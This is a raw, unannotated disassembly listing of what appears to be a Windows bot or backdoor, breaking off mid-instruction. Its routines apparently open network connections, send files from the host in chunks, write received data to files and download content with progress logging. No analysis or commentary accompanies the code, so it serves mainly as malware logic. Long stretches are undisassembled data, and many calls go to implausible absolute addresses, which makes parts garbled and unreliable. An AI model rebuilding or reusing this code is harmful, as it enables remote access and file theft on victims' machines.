[ebp-10Ch] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41578B lea eax, [ebp-210h] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: ___:00415778j lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi call near ptr 71AB4122h nop cmp eax, edi jz short loc_415765 mov eax, [ebp-4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: ___:004156F5j ; ___:0041575Cj ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h, 6AEC4D8Dh dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 98E890FFh, 2B0228ABh, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 226B2C8h dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DB90 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+arg_0] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E710 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DB90[esi] push ebx call sub_41BF70 push 17h push [ebp+arg_0] push ebx call sub_41BFD0 push 9Fh lea eax, dword_43DBA8[esi] push [ebp+arg_4] push eax call sub_41BFD0 add esp, 24h inc dword_4294CC pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437EF0 push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DB90 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset dword_437EDC lea eax, [ebp+var_200] push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E710 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call near ptr 27B0791h nop mov ebx, offset dword_4D35F4 mov edi, 80h mov esi, offset dword_4CF5F4 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BFD0 add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C360 add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41CB70 lea eax, [ebp+var_80] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF5F4 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D35F4 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx push [esp+4+arg_8] push offset dword_437F3C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F28 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: ___:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset dword_4CF5F4 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] push esi call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; --------------------------------------------------------------------------- byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E9E push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437F6C push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: ___:00415E7Ej cmp byte ptr [ebp-98h], 0 jz short loc_415EBE lea eax, [ebp-98h] push eax call sub_41C159 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415EBE mov [ebp-8], eax loc_415EBE: ; CODE XREF: ___:00415EA5j ; ___:00415EB9j and dword ptr [ebp+8], 0 mov esi, offset dword_4CF5F4 loc_415EC7: ; CODE XREF: ___:00415F1Fj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp byte ptr [ebp-98h], 0 jz short loc_415EF6 cmp dword ptr [ebp-4], 0 jnz short loc_415EF6 lea eax, [ebp-98h] push eax push esi call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: ___:00415EDBj ; ___:00415EE1j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: ___:00415ED2j ; ___:00415EF4j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415EC7 loc_415F21: ; CODE XREF: ___:00415ECDj lea eax, [ebp-31Ch] push offset dword_437F50 push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F5B push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: ___:00415F39j lea eax, [ebp-31Ch] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- or [ebx+5E5F022Dh], ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: ___:0041661Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA6C loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; --------------------------------------------------------------------------- dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: sub_401ACD+A02o dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 0EDE89056h dd 68022DA9h, 43DB88h, 4113E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h dd 5659FFFFh, 0A982E890h, 646A022Dh, 26ADF3E8h, 0FF339002h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h dd 26AD9BE8h, 0A6A9002h, 0FF549DE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh dd 22DA8C0h db 90h ; --------------------------------------------------------------------------- loc_4161C1: ; DATA XREF: sub_401ACD+7696o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_41620F push offset unk_4380EC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: ___:00416203j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB9D4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CBA00 test eax, eax jz short loc_41624D push offset unk_4380C8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: ___:00416241j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB978 push dword ptr [ebp-2Eh] call dword_4CB904 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B9C0 pop ecx loc_41627F: ; CODE XREF: ___:004162B0j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: ___:0041628Bj movsx eax, al loc_416295: ; CODE XREF: ___:00416290j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B9C0 cmp [ebp+8], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CB9FC test eax, eax jz short loc_4162C8 push offset unk_437FEC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: ___:004162BCj push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 2730000h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162F2 push offset unk_4380A8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: ___:004162E6j push esi push eax nop call near ptr 2760B9Eh mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AA06 pop ecx push eax call dword_4CBA14 push eax call dword_4CB9D0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_438090 push eax call sub_41C266 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB9BC test eax, eax jg short loc_4163A2 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_438078 push eax push dword ptr [ebp-1FCh] call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: ___:00416380j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_4163DB push offset unk_438054 loc_4163C8: ; CODE XREF: ___:0041620Aj ; ___:00416248j ... lea eax, [ebp-3FCh] push eax call sub_41C266 pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: ___:004163C1j push edi call dword_4CBA6C cmp [ebp+8], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: ___:00416484j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163FD mov [ebp-4], eax loc_4163FD: ; CODE XREF: ___:004163F8j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BF70 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 27A0000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 271129Ah push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CBA24 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB9EC cmp eax, ebx jl loc_416522 mov eax, [ebp-4] cmp eax, ebx jl loc_416522 sub [ebp+8], eax jnz loc_4163F0 mov edi, [ebp-18h] loc_41648D: ; CODE XREF: ___:004163E5j push dword ptr [ebp-8] call near ptr 2670770h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416CC9 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CBA60 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_438028 push eax call sub_41C266 loc_4164C6: ; CODE XREF: ___:0041639Dj add esp, 14h loc_4164C9: ; CODE XREF: ___:004163D6j cmp [ebp-50h], esi jnz short loc_4164EE push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: ___:004164CCj lea eax, [ebp-3FCh] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA6C loc_416506: ; CODE XREF: ___:004164FDj push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push esi nop call near ptr 26F0A80h loc_416522: ; CODE XREF: ___:00416470j ; ___:0041647Bj push esi mov esi, offset dword_438010 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409869 push esi call sub_415D38 add esp, 18h push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0A80h loc_416563: ; DATA XREF: sub_401ACD+798o push ebp mov ebp, esp mov eax, 14C4h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 2680A92h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429AC8 push eax call sub_41C266 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2730000h cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43818C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: ___:004165E4j push eax nop call near ptr 2670770h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_416615 push offset unk_43815C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: ___:0041660Cj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_416646 push offset unk_43813C loc_416633: ; CODE XREF: ___:004165EBj ; ___:00416613j lea eax, [ebp-4C4h] push eax call sub_41C266 pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: ___:0041662Cj mov esi, 1000h loc_41664B: ; CODE XREF: ___:004166B1j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB9EC mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DB54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB9D0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CBA24 jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: ___:0041667Bj lea eax, [ebp-4C4h] push offset dword_438010 push eax call sub_41C266 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 lea eax, [ebp-4C4h] push eax call sub_415D38 push dword ptr [ebp-4] call sub_41BA3B add esp, 24h push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push 1 call near ptr 26F0A80h nop loc_416712: ; CODE XREF: ___:00416672j mov eax, [ebp-8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_438110 push eax call sub_41C266 add esp, 14h loc_416742: ; CODE XREF: ___:00416641j cmp [ebp-14h], ebx jnz short loc_416767 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 add esp, 14h loc_416767: ; CODE XREF: ___:00416745j lea eax, [ebp-4C4h] push eax call sub_415D38 cmp [ebp-4], ebx pop ecx jz short loc_416782 push dword ptr [ebp-4] call sub_41BA3B pop ecx loc_416782: ; CODE XREF: ___:00416777j cmp [ebp+8], ebx jbe short loc_416790 push dword ptr [ebp+8] call dword_4CBA6C loc_416790: ; CODE XREF: ___:00416785j push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0A80h loc_4167A0: ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB984 call dword_4CB8D8 cmp eax, esi mov [ebp-18h], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 2730000h cmp eax, edi mov [ebp-20h], eax jnb short loc_416867 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_438358 push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_41684A push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: ___:00416828j lea eax, [ebp-510h] push eax call sub_415D38 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx pop ecx push esi call near ptr 26F0A80h nop loc_416867: ; CODE XREF: ___:00416808j xor edi, edi nop call near ptr 26A07AFh mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BEB5 pop ecx mov [ebp-1Ch], eax loc_416881: ; CODE XREF: ___:00416954j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB8E0 cmp [ebp-34h], esi jz short loc_4168C5 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: ___:004168B2j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2720000h cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168ED mov eax, [ebp+8] loc_4168ED: ; CODE XREF: ___:004168E8j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CD20 add esp, 0Ch loc_416903: ; CODE XREF: ___:004168DFj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416910 cmp edi, [ebp-3Ch] ja short loc_41695A loc_416910: ; CODE XREF: ___:00416909j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438330 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: ___:00416916j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438308 loc_41693A: ; CODE XREF: ___:00416928j mov eax, 